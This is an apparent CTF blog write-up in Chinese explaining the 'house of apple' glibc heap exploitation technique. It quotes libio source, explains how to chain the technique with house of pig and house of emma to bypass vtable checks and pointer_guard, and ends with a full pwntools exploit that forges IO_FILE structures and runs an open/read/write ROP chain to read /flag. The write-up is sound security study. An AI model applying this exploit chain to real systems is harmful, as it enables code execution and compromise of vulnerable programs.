house of apple
196082 慢慢好起来

简单介绍

在高版本中large bin attack算是为数不多的可以任意地址写堆地址的方法。

这一利用方式是相较于其他house of 系列来说存在一定差异,它不是直接通过IO_FILE getshell是通过扩大现存的写堆地址漏洞的方式,从而辅佐其他house of 系列。

利用条件

  1. 程序从main函数返回或能调用exit函数
  2. 能泄露出heap地址和libc地址
  3. 能使用一次largebin attack

利用原理

调用链和house of pig一致:

exit=>fcloseall=>_IO_cleanup=>_IO_flush_all_lockp=>_IO_OVERFLOW

首先在vtbale中存在这样一个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static wint_t
_IO_wstrn_overflow (FILE *fp, wint_t c)
{
/* When we come to here this means the user supplied buffer is
filled. But since we must return the number of characters which
would have been written in total we must provide a buffer for
further use. We can do this by writing on and on in the overflow
buffer in the _IO_wstrnfile structure. */
_IO_wstrnfile *snf = (_IO_wstrnfile *) fp;

if (fp->_wide_data->_IO_buf_base != snf->overflow_buf)
{
_IO_wsetb (fp, snf->overflow_buf,
snf->overflow_buf + (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)), 0);

fp->_wide_data->_IO_write_base = snf->overflow_buf;
fp->_wide_data->_IO_read_base = snf->overflow_buf;
fp->_wide_data->_IO_read_ptr = snf->overflow_buf;
fp->_wide_data->_IO_read_end = (snf->overflow_buf
+ (sizeof (snf->overflow_buf)
/ sizeof (wchar_t)));
}

fp->_wide_data->_IO_write_ptr = snf->overflow_buf;
fp->_wide_data->_IO_write_end = snf->overflow_buf;

/* Since we are not really interested in storing the characters
which do not fit in the buffer we simply ignore it. */
return c;
}

首先是将fp转化为_IO_wstrnfile结构体

1
2
3
4
5
6
7
typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
wchar_t overflow_buf[64];
} _IO_wstrnfile;

根据上面,如果通过fp->_wide_data->_IO_buf_base != snf->overflow_buf判断则会对fp->_wide_data_IO_write_base_IO_read_base_IO_read_ptr_IO_read_end赋值为snf->overflow_buf或者与该地址一定范围内偏移的值,最后对fp->_wide_data_IO_write_ptr_IO_write_end赋值。

只要控制了fp->_wide_data,就可以控制从fp->_wide_data开始一定范围内的内存的值,也就等同于任意地址写已知地址

不过可以看到在赋值之前会路过这一函数:

1
2
3
4
5
6
7
8
9
10
11
12
void
_IO_wsetb (FILE *f, wchar_t *b, wchar_t *eb, int a)
{
if (f->_wide_data->_IO_buf_base && !(f->_flags2 & _IO_FLAGS2_USER_WBUF))
free (f->_wide_data->_IO_buf_base);
f->_wide_data->_IO_buf_base = b;
f->_wide_data->_IO_buf_end = eb;
if (a)
f->_flags2 &= ~_IO_FLAGS2_USER_WBUF;
else
f->_flags2 |= _IO_FLAGS2_USER_WBUF;
}

所以一般来说需要绕过free函数,所以我们可以控制_flags2=8即可

随后就是_IO_wstrnfile结构体涉及到其他结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer_unused;
_IO_free_type _free_buffer_unused;
};

struct _IO_streambuf
{
FILE _f;
const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
char overflow_buf[64];
} _IO_strnfile;


typedef struct
{
_IO_strfile f;
/* This is used for the characters which do not fit in the buffer
provided by the user. */
wchar_t overflow_buf[64];
} _IO_wstrnfile;

因为其中存在着其他结构体,最后可以看出来overflow_buf的偏移量位0xf0,那就是在vtable后面

struct _IO_wide_data结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */

__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

最后呢,也就是在调用vtable之前需要绕过的一点是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;

#ifdef _IO_MTSAFE_IO
_IO_cleanup_region_start_noarg (flush_cleanup);
_IO_lock_lock (list_all_lock);
#endif

for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}

#ifdef _IO_MTSAFE_IO
_IO_lock_unlock (list_all_lock);
_IO_cleanup_region_end (0);
#endif

return result;
}

构造方式

这里我看原创文章的构造描述和他写的demo的构造方式存在一定差异,所以我这里根据下面的demo来描述构造方式:

  1. 首先修改vtable的值为:_IO_wstrn_jumps
  2. 绕过free,修改_flags2的值为8
  3. 修改_IO_write_ptr的值为-1
  4. 最后修改_wide_data的地址为我们的目标地址

利用思路

这里修改mp_结构体和global_max_fast就不再赘述,这两者的攻击方式类似,这里重点提一下如何配合house of pig

与house of pig的联用

在我之前的FSOP这篇文章的关于vtable的检验实际上并不完善,其中只提到了检验内部vtable,关于外部vtable的检验没怎么提。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

/* In case this libc copy is in a non-default namespace, we always
need to accept foreign vtables because there is always a
possibility that FILE * objects are passed across the linking
boundary. */
{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

#else /* !SHARED */
/* We cannot perform vtable validation in the static dlopen case
because FILE * handles might be passed back and forth across the
boundary. Therefore, we disable checking in this case. */
if (__dlopen != NULL)
return;
#endif

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

可以看到这里如果我们的flag值等于_IO_vtable_check的值,函数就会立即返回

image-20220726180958780

通过汇编代码可知这里是将IO_accept_foreign_vtables经过PTR_DEMANGLE这样一个函数的变化最后进行比较,而在house of emma中这个函数的本质就是上面汇编中显示的循环右移0x11然后与fs:0x30也就是pointer_guard进行异或。所以,如果pointer_guardIO_accept_foreign_vtables是我们已知的值,我们即可绕过这一判断。最后任意伪造vtable劫持程序执行流即可。

与house of emma联用

相较于上面的需要进行两次任意地址写的情况,这一利用方式算是比较简单,只需要通过house of apple修改pointer_guard的值,随后进行house of emma即可。

例题演示

例题使用的方式为house of apple & house of emma

因为原创已经分析过了,这里就不再分析了,这里主要提一下堆风水即可。

首先题目申请chunk的size只能申请三种,分别是:key+0x10,key+0x20,2*key+0x10

并且题目的输入只能输入一次,所以我们需要在修改掉已经在large bin中的chunk的bk_nextsize的指针的同时修改掉即将进入large bin的chunk的内容为我们伪造的IO_FILE结构体。

所以我们的目标是,有一个指针指向我们已经在large bin中的chunk,并且在这个chunk的内部还存在一个我们即将进入large bin的chunk,并且我们还希望,在修改bk_nextsize之后紧接着就可以修改掉后一个chunk的内容,让我们可控的内容尽可能的多一点。(其实仔细思考一下发现我们完全可以构造成ptr,ptr+0x30效果也是差不多,构造起来还较为简单一点)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *

elf = ELF('./oneday')
r = process('./oneday')
libc = ELF('./libc.so.6')

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'


def create(opt):
r.recvuntil(b'enter your command:')
r.sendline(b'1')
r.recvuntil(b'choise: ')
r.sendline(bytes(str(opt), encoding='utf-8'))


def delete(idx):
r.recvuntil(b'enter your command:')
r.sendline(b'2')
r.recvuntil(b'Index:')
r.sendline(bytes(str(idx), encoding='utf-8'))


def edit(idx, msg):
r.recvuntil(b'enter your command:')
r.sendline(b'3')
r.recvuntil(b'Index:')
r.sendline(bytes(str(idx), encoding='utf-8'))
r.recvuntil(b'Message:')
r.send(msg)


def show(idx):
r.recvuntil(b'enter your command:')
r.sendline(b'4')
r.recvuntil(b'Index:')
r.sendline(bytes(str(idx), encoding='utf-8'))


def pack_file(IO_write_base=0,
IO_write_ptr=0,
_chain=0,
_lock=0,
_wide_data=0,
_mode=0,
vtable=0):
IO_FILE = b'\x00' * 0x20 + p64(IO_write_base) + p64(IO_write_ptr)
IO_FILE = IO_FILE.ljust(0x68, b'\x00') + p64(_chain) + p32(0) + p32(8)
IO_FILE = IO_FILE.ljust(0x88, b'\x00') + p64(_lock)
IO_FILE = IO_FILE.ljust(0xa0, b'\x00') + p64(_wide_data)
IO_FILE = IO_FILE.ljust(0xc0, b'\x00') + p64(_mode)
IO_FILE = IO_FILE.ljust(0xd8, b'\x00') + p64(vtable)
return IO_FILE


def ROL(content, key):
tmp = bin(content)[2:].rjust(64, '0')
return int(tmp[key:] + tmp[:key], 2)


r.recvuntil(b'enter your key >>')
r.sendline(b'10')

create(2)
create(2)
create(1)

delete(2)
delete(1)
delete(0)

create(1)
create(1)
create(1)
create(1)
delete(3)
delete(5)
show(3)
r.recvuntil(b'Message: \n')
libc_base = u64(r.recv(8)) - 0x1f2cc0
heap_base = u64(r.recv(8)) - 0x17f0
print(hex(heap_base))
print(hex(libc_base))
_IO_list_all = libc_base + 0x1f3660
pop_rdi = libc_base + next(libc.search(asm('pop rdi\nret')))
pop_rsi = libc_base + next(libc.search(asm('pop rsi\nret')))
pop_rdx = libc_base + next(libc.search(asm('pop rdx\nret')))
point_guard_addr = libc_base + 0x3c0770 - 0x10
_IO_wstrn_jumps = libc_base + 0x1f3d20
_IO_cookie_jumps = libc_base + 0x1f3ae0
gadget = libc_base + 0x146020
setcontext = libc_base + 0x50bc0
open_addr = libc_base + libc.symbols['open']
read_addr = libc_base + libc.symbols['read']
write_addr = libc_base + libc.symbols['write']
flag_addr = heap_base + 0x1a88

delete(4)
delete(6)

create(3)
create(1)
create(1)

file1 = pack_file(0, 1, heap_base + 0x1900, libc_base + 0x1f5720,
point_guard_addr, 0, _IO_wstrn_jumps)
file2 = pack_file(0, 1, 0, libc_base + 0x1f5720, 0, 0, _IO_cookie_jumps + 0x58)
delete(8)
create(3)

payload = flat(0, _IO_list_all - 0x20, 0, 0xa81) + file1[0x10:]
payload = payload.ljust(0x100, b'\x00') + file2 + flat(
heap_base + 0x1900 + 0x100, ROL(gadget ^ (heap_base + 0x1900), 0x11))
payload = payload.ljust(0x108 + 0x20, b'\x00') + p64(setcontext + 61)
payload = payload.ljust(0x108 + 0x68, b'\x00') + p64(flag_addr) + p64(0)
payload = payload.ljust(
0x108 + 0xa0, b'\x00') + p64(heap_base + 0x1900 + 0x200) + p64(open_addr)
payload = payload.ljust(
0x200, b'\x00') + flat(pop_rdi, 3, pop_rsi, libc_base + libc.bss() + 0x100,
pop_rdx, 0x100, read_addr)
payload = payload + flat(pop_rdi, 1, pop_rsi, libc_base + libc.bss() + 0x100,
pop_rdx, 0x100, write_addr) + b'/flag\x00\x00\x00'
payload = payload.ljust(0xa90, b'\x00') + flat(0, 0xab1)
payload = payload.ljust(0xaa0, b'\x00')

edit(5, payload)
delete(2)
create(3)

print(hex(libc_base + libc.bss() + 0x100))

gdb.attach(
r,
'b*$rebase(0x1439)\ndir ../glibc_source/glibc-2.34/libio/\nb _IO_wstrn_overflow'
)

r.recvuntil(b'enter your command:')
r.sendline(b'5')

r.interactive()

总结

house of apple与以往的house of系列存在一定区别,他的效果只是任意地址写堆地址,将_IO_FILE地址+0xf0的地址写到_IO_wide_data所指向的地址(当然结合源码看的话可以看出来是进行一定范围的写操作)

其实house of apple只是单纯的利用fcloseall函数会循环调用_IO_FILE的_chain,也就是利用一次任意地址写的机会进行多次_IO_FILE利用


参考链接:https://bbs.pediy.com/thread-273418.htm

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量